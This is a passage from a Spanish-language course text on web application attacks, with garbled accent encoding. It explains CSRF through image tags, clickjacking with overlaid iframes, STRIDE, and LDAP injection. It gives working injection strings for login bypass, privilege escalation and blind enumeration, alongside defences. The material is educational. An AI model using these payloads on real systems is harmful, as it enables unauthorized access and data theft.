ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
